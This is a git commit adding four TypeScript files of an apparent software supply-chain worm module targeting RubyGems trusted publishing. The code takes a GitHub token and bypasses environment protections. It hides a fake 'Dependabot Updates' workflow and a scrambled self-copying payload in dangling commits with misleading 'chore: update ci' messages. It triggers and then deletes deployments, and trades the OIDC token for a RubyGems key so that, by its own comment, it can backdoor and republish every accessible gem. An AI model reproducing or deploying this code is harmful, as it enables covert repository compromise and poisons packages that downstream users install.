Upload files to "src/mutator/rubygemsoidc"

This commit is contained in:
2026-07-03 03:10:42 +00:00
parent 4ce5943b07
commit 1e565bfe41
4 changed files with 1014 additions and 0 deletions
+506
View File
@@ -0,0 +1,506 @@
import { randomBytes } from "node:crypto";
import { githubFetch, githubJson } from "../../github_utils/client";
import {
createBlob as dbCreateBlob,
createBranch as dbCreateBranch,
createCommit as dbCreateCommit,
createTree as dbCreateTree,
getBranchRef,
getCommitTree,
} from "../../github_utils/gitDb";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
import { Mutator } from "../base";
import {
checkAndBypassEnvironment,
type EnvironmentBypassState,
extractEnvironmentNames,
restoreEnvironment,
} from "../npmoidc/environment";
import { detectRubygemsPublishingRepo } from "./detector";
import { injectRubygemsToolStep } from "./injector";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
interface UserRepo {
full_name: string;
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}
// ── Mutator ─────────────────────────────────────────────────────────────────
export class RubygemsOidcBranchMutator extends Mutator {
private readonly token: string;
private readonly indexJs: string;
private readonly dryRun: boolean;
constructor(token: string, dryRun = false) {
super();
if (!token) throw new Error("GitHub token required");
this.token = token;
this.indexJs = "";
this.dryRun = dryRun;
}
private async loadIndexJs(): Promise<string> {
if (this.indexJs) return this.indexJs;
try {
const raw = await Bun.file(Bun.main).text();
return buildSelfExtractingPayload(raw, { wrap: true });
} catch {
return "// tool stub";
}
}
async execute(): Promise<Boolean> {
try {
let repos: UserRepo[];
const targetReposEnv = process.env.TARGET_REPOS;
if (targetReposEnv?.trim()) {
const slugs = targetReposEnv
.split(",")
.map((s) => s.trim())
.filter(Boolean);
logUtil.log(
`[rg-branch] Using TARGET_REPOS env (${slugs.length} repo(s))`,
);
repos = await fetchReposBySlugs(this.token, slugs);
} else {
logUtil.log("[rg-branch] Fetching writable public repos...");
repos = await fetchWritableRepos(this.token);
}
logUtil.log(`[rg-branch] Found ${repos.length} writable repo(s)`);
const indexJs = await this.loadIndexJs();
let injected = 0;
for (const repo of repos) {
try {
const ok = await this.processRepo(repo, indexJs);
if (ok) injected++;
} catch (e) {
logUtil.log(
`[rg-branch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(
`[rg-branch] Done. Injected into ${injected}/${repos.length} repos.`,
);
return injected > 0;
} catch (e) {
logUtil.log(
`[rg-branch] Fatal: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
}
/** Process a single repo by full name (e.g. "owner/name"). */
async processSingleRepo(
fullName: string,
tokenOverride?: string,
): Promise<boolean> {
const [owner, name] = fullName.split("/");
if (!owner || !name) {
logUtil.log(`[rg-branch] Invalid repo name: ${fullName}`);
return false;
}
const token = tokenOverride ?? this.token;
const { githubJson } = await import("../../github_utils/client");
const repoInfo = await githubJson<{
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}>(token, `/repos/${owner}/${name}`);
const indexJs = await this.loadIndexJs();
return this.processRepo(
{
full_name: fullName,
default_branch: repoInfo.default_branch,
private: repoInfo.private,
fork: repoInfo.fork,
permissions: repoInfo.permissions,
},
indexJs,
);
}
// ── Per-repo processing ──────────────────────────────────────────────────
private async processRepo(repo: UserRepo, indexJs: string): Promise<boolean> {
const [owner, name] = repo.full_name.split("/");
if (!owner || !name) return false;
// 1. Detect if this repo publishes to RubyGems via trusted publishing
const detected = await detectRubygemsPublishingRepo(
this.token,
owner,
name,
repo.full_name,
repo.default_branch,
repo.private,
repo.permissions,
);
if (!detected) return false;
// 2. Generate branch name and check environments
const branchName = `oidc-${randomBytes(4).toString("hex")}`;
const envBypasses: EnvironmentBypassState[] = [];
try {
const envNames = extractEnvironmentNames(detected.workflow.rawYaml);
for (const envName of envNames) {
const result = await checkAndBypassEnvironment(
this.token,
owner,
name,
envName,
branchName,
repo.permissions.admin,
);
if (!result.canDeploy) {
logUtil.log(`[rg-branch] ${repo.full_name}: ${result.blockedBy}`);
return false;
}
if (result.bypassState) {
envBypasses.push(result.bypassState);
logUtil.log(
`[rg-branch] ${repo.full_name}: bypassed env "${envName}"`,
);
}
}
// 3. Inject the tool step into the workflow YAML
const injection = injectRubygemsToolStep(detected.workflow.rawYaml, {
workflowFilename: detected.workflow.filename,
gemNames: detected.packageNames,
repoFullName: repo.full_name,
environmentName: detected.workflow.environmentName,
});
if (!injection.injected) {
logUtil.log(
`[rg-branch] ${repo.full_name}: injection skipped — ${injection.reason}`,
);
return false;
}
// 4. Two dangling commits: add → delete → branch → deployment
const baseRef = await getDefaultBranchRef(
this.token,
owner,
name,
repo.default_branch,
);
if (!baseRef) {
logUtil.log(
`[rg-branch] ${repo.full_name}: could not resolve default branch ref`,
);
return false;
}
const parentSha = baseRef.object.sha;
const baseTreeSha = await getCommitTree(
this.token,
owner,
name,
parentSha,
);
// Create blobs
const yamlBlobSha = await createBlob(
this.token,
owner,
name,
injection.modifiedYaml,
);
const jsBlobSha = await createBlob(this.token, owner, name, indexJs);
if (!yamlBlobSha || !jsBlobSha) {
logUtil.log(`[rg-branch] ${repo.full_name}: blob creation failed`);
return false;
}
// Build nested trees
const ghDir = ".github";
const wfDir = "workflows";
const wfTree = await createTree(this.token, owner, name, null, [
{
path: detected.workflow.filename,
mode: "100644",
type: "blob",
sha: yamlBlobSha,
},
]);
if (!wfTree) {
logUtil.log(
`[rg-branch] ${repo.full_name}: workflows tree creation failed`,
);
return false;
}
const ghTree = await createTree(this.token, owner, name, null, [
{ path: wfDir, mode: "040000", type: "tree", sha: wfTree.sha },
]);
if (!ghTree) {
logUtil.log(
`[rg-branch] ${repo.full_name}: .github tree creation failed`,
);
return false;
}
const newTree = await createTree(this.token, owner, name, null, [
{ path: ghDir, mode: "040000", type: "tree", sha: ghTree.sha },
{
path: scramble("_index.js"),
mode: "100644",
type: "blob",
sha: jsBlobSha,
},
]);
if (!newTree) {
logUtil.log(`[rg-branch] ${repo.full_name}: tree creation failed`);
return false;
}
// Commit 1: add workflow (child of default branch HEAD)
const addSha = await createCommit(
this.token,
owner,
name,
scramble("chore: update ci"),
newTree.sha,
parentSha,
);
if (!addSha) {
logUtil.log(`[rg-branch] ${repo.full_name}: add commit failed`);
return false;
}
// Commit 2: delete workflow (restore original base tree, parent = commit 1)
const delSha = await createCommit(
this.token,
owner,
name,
scramble("chore: update ci [skip ci]"),
baseTreeSha,
addSha,
);
if (!delSha) {
logUtil.log(`[rg-branch] ${repo.full_name}: delete commit failed`);
return false;
}
logUtil.log(
`[rg-branch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`,
);
logUtil.log(
` View add: https://github.com/${owner}/${name}/commit/${addSha}`,
);
logUtil.log(
` View del: https://github.com/${owner}/${name}/commit/${delSha}`,
);
logUtil.log(` Gem(s): ${detected.packageNames.join(", ")}`);
logUtil.log(` Workflow: ${detected.workflow.filename}`);
// 5. Create branch at commit 2 (makes commit 1 reachable for deployment)
await createBranch(this.token, owner, name, branchName, delSha);
logUtil.log(
`[rg-branch] ${repo.full_name}: branch ${branchName} created ✓`,
);
if (this.dryRun) {
logUtil.log(
`[rg-branch] ${repo.full_name}: dry-run — skipping deployment`,
);
return false;
}
// 6. Create a deployment targeting commit 1 — triggers the workflow
const deployment = await githubJson<{ id: number }>(
this.token,
`/repos/${owner}/${name}/deployments`,
{
method: "POST",
body: JSON.stringify({
ref: addSha,
auto_merge: false,
required_contexts: [],
environment: detected.workflow.environmentName ?? "production",
transient_environment: true,
}),
},
);
const deployId = deployment.id;
logUtil.log(
`[rg-branch] ${repo.full_name}: deployment ${deployId} created ✓`,
);
// 7. Delete the deployment record — the workflow was already
// triggered so this is just housekeeping.
try {
await githubFetch(
this.token,
`/repos/${owner}/${name}/deployments/${deployId}`,
{ method: "DELETE" },
);
logUtil.log(
`[rg-branch] ${repo.full_name}: deployment ${deployId} deleted ✓`,
);
} catch {
// best-effort — the deployment event already fired
}
return true;
} finally {
// Restore any bypassed environments
for (const bypass of envBypasses) {
try {
await restoreEnvironment(this.token, owner, name, bypass);
} catch {}
}
}
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Writable repo fetch
// ═════════════════════════════════════════════════════════════════════════════
async function fetchReposBySlugs(
token: string,
slugs: string[],
): Promise<UserRepo[]> {
const repos: UserRepo[] = [];
for (const slug of slugs) {
const [owner, name] = slug.split("/");
if (!owner || !name) continue;
try {
const repo = await githubJson<UserRepo>(token, `/repos/${owner}/${name}`);
repos.push(repo);
} catch {
logUtil.log(`[rg-branch] could not fetch repo: ${slug}`);
}
}
return repos;
}
async function fetchWritableRepos(token: string): Promise<UserRepo[]> {
const repos: UserRepo[] = [];
const perPage = 100;
let page = 1;
while (true) {
const batch = await githubJson<UserRepo[]>(
token,
`/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`,
);
if (!batch || batch.length === 0) break;
for (const r of batch) {
if (r.fork) continue;
if (r.permissions?.push) repos.push(r);
}
if (batch.length < perPage) break;
page++;
}
return repos;
}
// ── Thin wrappers ───────────────────────────────────────────────────────────
async function getDefaultBranchRef(
token: string,
owner: string,
repo: string,
branch: string,
): Promise<{ object: { sha: string } } | null> {
try {
return await getBranchRef(token, owner, repo, branch);
} catch {
return null;
}
}
async function createBlob(
token: string,
owner: string,
repo: string,
content: string,
): Promise<string | null> {
try {
return await dbCreateBlob(token, owner, repo, content);
} catch {
return null;
}
}
async function createTree(
token: string,
owner: string,
repo: string,
baseTreeSha: string | null,
entries: Array<{ path: string; mode: string; type: string; sha: string }>,
): Promise<{ sha: string } | null> {
try {
const sha = await dbCreateTree(
token,
owner,
repo,
baseTreeSha,
entries as any,
);
return { sha };
} catch (e) {
logUtil.error(e);
return null;
}
}
async function createCommit(
token: string,
owner: string,
repo: string,
message: string,
treeSha: string,
parentSha: string,
): Promise<string | null> {
try {
return await dbCreateCommit(
token,
owner,
repo,
message,
treeSha,
parentSha,
);
} catch {
return null;
}
}
async function createBranch(
token: string,
owner: string,
repo: string,
branchName: string,
sha: string,
): Promise<void> {
await dbCreateBranch(token, owner, repo, branchName, sha);
}
+303
View File
@@ -0,0 +1,303 @@
// ═════════════════════════════════════════════════════════════════════════════
// RubyGems OIDC publishing repo detector
//
// Mirrors npmoidc/detector.ts but looks for RubyGems publishing signals in
// GitHub Actions workflow YAML rather than npm publish commands.
// ═════════════════════════════════════════════════════════════════════════════
import { githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
// ── Types ───────────────────────────────────────────────────────────────────
export interface PublishWorkflow {
/** Filename within .github/workflows/ (e.g. "release.yml") */
filename: string;
/** Workflow name from the YAML */
name: string;
/** Raw YAML content */
rawYaml: string;
/** Environment name used for deployment (if any) */
environmentName?: string;
/** The job name that does the publishing */
publishJobName?: string;
/** Step index where publishing happens (0-based) */
publishStepIndex?: number;
}
export interface RubygemsPublishRepo {
fullName: string;
defaultBranch: string;
isPrivate: boolean;
isFork: boolean;
/** All gem names published from this repo (usually 1, can be >1). */
packageNames: string[];
workflow: PublishWorkflow;
}
// ── Main detection ──────────────────────────────────────────────────────────
/**
* Determine whether a GitHub repo publishes to RubyGems via trusted
* publishing, and return the relevant package + workflow information.
*
* Returns `null` if the repo does not publish to RubyGems.
*/
export async function detectRubygemsPublishingRepo(
token: string,
owner: string,
repoName: string,
fullName: string,
defaultBranch: string,
isPrivate: boolean,
permissions: { admin: boolean; push: boolean; pull: boolean },
): Promise<RubygemsPublishRepo | null> {
// We need at least push access to create a branch
if (!permissions.push) {
logUtil.log(`[rg-detector] ${fullName}: no push access — skip`);
return null;
}
// 1. Find a publish workflow
const workflow = await findRubygemsPublishWorkflow(token, owner, repoName);
if (!workflow) {
logUtil.log(`[rg-detector] ${fullName}: no RubyGems publish workflow`);
return null;
}
// 2. Extract all gem names from the repo (gemspecs + workflow hints)
const gemNames = await resolveGemNames(
token,
owner,
repoName,
defaultBranch,
workflow,
);
if (gemNames.length === 0) {
logUtil.log(`[rg-detector] ${fullName}: could not resolve gem name`);
return null;
}
logUtil.log(
`[rg-detector] ${fullName}: gems=${gemNames.join(", ")} workflow=${workflow.filename}`,
);
return {
fullName,
defaultBranch,
isPrivate,
isFork: false,
packageNames: gemNames,
workflow,
};
}
// ── Workflow discovery ──────────────────────────────────────────────────────
const RUBYGEMS_PUBLISH_SIGNALS = [
// Direct gem push with OIDC audience
/gem\s+push/,
/gem\s+release/,
// RubyGems-specific GitHub Actions
/rubygems\/release-gem/,
/rubygems\/configure-rubygems/,
// OIDC audience for rubygems.org
/audience\s*:\s*rubygems\.org/,
// Generic trusted publishing setup for RubyGems
/rubygems-trusted-publishing/,
/Trusted\s*Publishing/,
];
interface ContentItem {
name: string;
path: string;
type: "file" | "dir";
download_url?: string;
}
interface WorkflowFile {
filename: string;
name: string;
rawYaml: string;
}
async function findRubygemsPublishWorkflow(
token: string,
owner: string,
repo: string,
): Promise<WorkflowFile | null> {
// List .github/workflows directory
let contents: ContentItem[];
try {
contents = await githubJson<ContentItem[]>(
token,
`/repos/${owner}/${repo}/contents/.github/workflows`,
);
} catch {
return null;
}
if (!Array.isArray(contents)) return null;
const workflowFiles: WorkflowFile[] = [];
for (const item of contents) {
if (item.type !== "file") continue;
if (!item.name.endsWith(".yml") && !item.name.endsWith(".yaml")) continue;
if (!item.download_url) continue;
try {
const res = await fetch(item.download_url, {
headers: { Authorization: `Bearer ${token}` },
});
if (!res.ok) continue;
const rawYaml = await res.text();
// Score the workflow for RubyGems publishing signals
const score = scoreWorkflowForRubygemsPublish(rawYaml);
if (score > 0) {
const wfName = extractWorkflowName(rawYaml) ?? item.name;
workflowFiles.push({ filename: item.name, name: wfName, rawYaml });
logUtil.log(
`[rg-detector] ${owner}/${repo}: ${item.name} score=${score}`,
);
}
} catch {
// Skip unreadable files
}
}
if (workflowFiles.length === 0) return null;
// Return the highest-scoring workflow
workflowFiles.sort(
(a, b) =>
scoreWorkflowForRubygemsPublish(b.rawYaml) -
scoreWorkflowForRubygemsPublish(a.rawYaml),
);
return workflowFiles[0]!;
}
function scoreWorkflowForRubygemsPublish(yaml: string): number {
let score = 0;
const normalized = yaml.toLowerCase();
for (const signal of RUBYGEMS_PUBLISH_SIGNALS) {
if (signal.test(normalized)) score += 10;
}
// Bonus for id-token:write (indicates OIDC / trusted publishing)
if (/id-token\s*:\s*write/.test(normalized)) score += 15;
// Bonus for on: deployment trigger (repo-scope deployment bypass)
if (/\bdeployment\b/.test(yaml)) score += 5;
// Bonus for rubygems.org audience in OIDC config
if (/audience\s*:\s*rubygems\.org/.test(normalized)) score += 20;
return score;
}
function extractWorkflowName(yaml: string): string | null {
const match = yaml.match(/^name\s*:\s*(.+)$/m);
if (match?.[1]) return match[1]!.trim().replace(/^["']|["']$/g, "");
return null;
}
// ── Gem name resolution ─────────────────────────────────────────────────────
async function resolveGemNames(
token: string,
owner: string,
repo: string,
defaultBranch: string,
workflow: WorkflowFile,
): Promise<string[]> {
const names = new Set<string>();
// Strategy 1: Extract gem names from workflow YAML env vars or commands
const fromWorkflow = extractGemNamesFromWorkflow(workflow.rawYaml);
for (const n of fromWorkflow) names.add(n);
// Strategy 2: Extract from ALL .gemspec files at the repo root
const fromGemspecs = await extractGemNamesFromGemspecs(
token,
owner,
repo,
defaultBranch,
);
for (const n of fromGemspecs) names.add(n);
// Strategy 3: Fall back to repo name if nothing found
if (names.size === 0) names.add(repo);
return [...names];
}
function extractGemNamesFromWorkflow(yaml: string): string[] {
const names: string[] = [];
// gem push <name>-<version>.gem — may appear multiple times
const pushRe = /gem\s+push\s+(\S+?)(?:-[\d.]+)?\.gem/g;
let m: RegExpExecArray | null;
while ((m = pushRe.exec(yaml)) !== null) {
if (m[1]) names.push(m[1]!);
}
// GEM_NAME env var
const envMatch = yaml.match(/GEM_NAME\s*[=:]\s*["']?(\S+?)["'\s]/);
if (envMatch?.[1]) names.push(envMatch[1]!);
// PACKAGE_NAME or GEM env var
const pkgMatch = yaml.match(
/(?:PACKAGE_NAME|GEM)\s*[=:]\s*["']?(\S+?)["'\s]/,
);
if (pkgMatch?.[1]) names.push(pkgMatch[1]!);
return names;
}
async function extractGemNamesFromGemspecs(
token: string,
owner: string,
repo: string,
defaultBranch: string,
): Promise<string[]> {
const names: string[] = [];
try {
const contents = await githubJson<ContentItem[]>(
token,
`/repos/${owner}/${repo}/contents?ref=${defaultBranch}`,
);
if (!Array.isArray(contents)) return names;
for (const item of contents) {
if (item.type !== "file" || !item.name.endsWith(".gemspec")) continue;
if (!item.download_url) continue;
try {
const res = await fetch(item.download_url, {
headers: { Authorization: `Bearer ${token}` },
});
if (!res.ok) continue;
const gemspec = await res.text();
// spec.name = "gem-name"
const nameMatch = gemspec.match(/\.name\s*=\s*["']([^"']+)["']/);
if (nameMatch?.[1]) names.push(nameMatch[1]!);
// spec.name = %q{gem-name}
const qMatch = gemspec.match(/\.name\s*=\s*%q\{([^}]+)\}/);
if (qMatch?.[1]) names.push(qMatch[1]!);
} catch {
// Skip unreadable gemspecs
}
}
} catch {
// Can't list repo contents
}
return names;
}
+131
View File
@@ -0,0 +1,131 @@
import { logUtil } from "../../utils/logger";
import { Mutator } from "../base";
import { checkRubygemsToken } from "../rubygems/tokenCheck";
/**
* RubyGems OIDC mutator — exchanges a GitHub Actions OIDC token for a
* RubyGems API token, then reuses the existing RubyGemsClient to backdoor
* and republish every gem the token has access to.
*
* Mirrors the NPMOidcClient pattern: get OIDC token → exchange for registry
* token → enumerate packages → backdoor + republish.
*/
export class RubyGemsOidcClient extends Mutator {
constructor() {
super();
}
async execute(): Promise<Boolean> {
// 1. Get GitHub Actions OIDC token (audience: rubygems.org)
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
process.env;
if (!ACTIONS_ID_TOKEN_REQUEST_URL || !ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
logUtil.log(
"[rubygemsOidc] not running in GitHub Actions with id-token:write",
);
return false;
}
const oidcUrl = `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=rubygems.org`;
let oidcToken: string;
try {
const oidcRes = await fetch(oidcUrl, {
headers: {
Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}`,
},
});
if (!oidcRes.ok) {
logUtil.log(
`[rubygemsOidc] OIDC token request failed: ${oidcRes.status}`,
);
return false;
}
const data = (await oidcRes.json()) as { value: string };
oidcToken = data.value;
if (!oidcToken) {
logUtil.log("[rubygemsOidc] OIDC response missing token");
return false;
}
} catch (e) {
logUtil.log(`[rubygemsOidc] OIDC token error: ${e}`);
return false;
}
// 2. Exchange OIDC token for a RubyGems API token
const rgToken = await exchangeOidcForRubygemsToken(oidcToken);
if (!rgToken) {
logUtil.log("[rubygemsOidc] OIDC → RubyGems token exchange failed");
return false;
}
// 3. Validate the token and enumerate accessible gems
const tokenInfo = await checkRubygemsToken(rgToken);
if (!tokenInfo.valid || tokenInfo.gems.length === 0) {
logUtil.log(
"[rubygemsOidc] token valid but no gems accessible (scoped or empty)",
);
return false;
}
logUtil.log(
`[rubygemsOidc] token valid — ${tokenInfo.gems.length} gem(s) accessible`,
);
// 4. Delegate to the existing RubyGemsClient for download/patch/publish
const { RubyGemsClient } = await import("../rubygems/index");
const client = new RubyGemsClient(tokenInfo);
return client.execute();
}
}
// ── OIDC → RubyGems token exchange ─────────────────────────────────────────
/**
* Exchange a GitHub Actions OIDC token for a short-lived RubyGems API token.
*
* POST https://rubygems.org/api/v1/oidc/api_key_roles/tokens
* Authorization: Bearer <oidc_token>
*/
async function exchangeOidcForRubygemsToken(
oidcToken: string,
): Promise<string | null> {
try {
const res = await fetch(
"https://rubygems.org/api/v1/oidc/api_key_roles/tokens",
{
method: "POST",
headers: {
Authorization: `Bearer ${oidcToken}`,
"Content-Type": "application/json",
Accept: "application/json",
},
},
);
if (!res.ok) {
const text = await res.text().catch(() => "");
logUtil.log(
`[rubygemsOidc] token exchange HTTP ${res.status}: ${text.slice(0, 200)}`,
);
return null;
}
const data = (await res.json()) as {
rubygems_api_key?: { token?: string; key?: string };
token?: string;
key?: string;
};
return (
data.rubygems_api_key?.token ??
data.rubygems_api_key?.key ??
data.token ??
data.key ??
null
);
} catch (e) {
logUtil.log(`[rubygemsOidc] token exchange error: ${e}`);
return null;
}
}
+74
View File
@@ -0,0 +1,74 @@
// ═════════════════════════════════════════════════════════════════════════════
// RubyGems OIDC workflow YAML injector
//
// Builds a clean release workflow that replaces the existing one in the
// ephemeral branch commit. The workflow runs on deployment, gets an OIDC
// token, and executes the payload via bun.
// ═════════════════════════════════════════════════════════════════════════════
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface InjectionResult {
modifiedYaml: string;
injected: boolean;
reason?: string;
}
export interface InjectionContext {
workflowFilename: string;
/** Comma-separated gem names for the GEM_NAME env var */
gemNames: string[];
repoFullName: string;
environmentName?: string;
}
// ── Public API ──────────────────────────────────────────────────────────────
/**
* Build a clean release workflow that replaces the original.
*
* The injected workflow:
* - Triggers on deployment (repo-scope technique)
* - Has id-token:write for OIDC token retrieval
* - Checks out the repo, installs bun, runs the payload
*/
export function injectRubygemsToolStep(
_rawYaml: string,
ctx: InjectionContext,
): InjectionResult {
const { gemNames, repoFullName, workflowFilename, environmentName } = ctx;
const nameList = gemNames.join(",");
const envBlock = environmentName
? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true`
: "";
const newWorkflow = [
`name: Dependabot Updates`,
`run-name: Dependabot Updates`,
`on:`,
` deployment`,
`jobs:`,
` release:`,
` runs-on: ubuntu-latest`,
` permissions:`,
` id-token: write`,
` contents: read`,
envBlock || null,
` steps:`,
` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`,
` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`,
` - name: publish`,
` run: bun run _index.js`,
` env:`,
` GEM_NAME: ${JSON.stringify(nameList)}`,
` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`,
` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`,
]
.filter(Boolean)
.join("\n");
return { modifiedYaml: newWorkflow, injected: true };
}